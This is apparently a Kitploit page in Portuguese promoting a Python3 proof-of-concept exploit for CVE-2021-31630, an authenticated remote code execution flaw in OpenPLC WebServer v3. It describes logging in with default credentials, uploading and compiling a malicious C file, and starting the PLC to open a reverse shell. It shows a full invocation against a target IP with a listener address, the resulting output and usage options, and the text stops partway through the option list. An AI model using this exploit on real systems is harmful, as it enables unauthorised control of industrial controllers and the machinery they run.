CVE-2021-31630 — Exploit POC para CVE-2021-31630 escrito em Python3 e usando reverse shell em C com modo não bloqueante. | Kitploit

Compartilhar

OpenPLC WebServer v3 - RCE Autenticado (CVE-2021-31630)

Este exploit é baseado no exploit do Exploit-DB feito por Fellipe Oliveira.

Primeiro, autentique-se
Envie um arquivo C malicioso
Compile-o
Inicie o PLC (inicie o reverse shell)
Pare o PLC (não é necessário executá-lo, o reverse shell já foi iniciado)

└─# python3 custom_exploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888
[*] Authenticated.
[*] C file uploaded. Waiting for compilation.
[*] Compiled, probably.
[*] Started PLC, you should get your reverse shell now.
[*] Stopped PLC.

Como usar

python3 exploit.py --url <> --username <> --password <> --listenerip <> --listenerport <>

Opções:

--url - URL do OpenPLC
--username - nome de usuário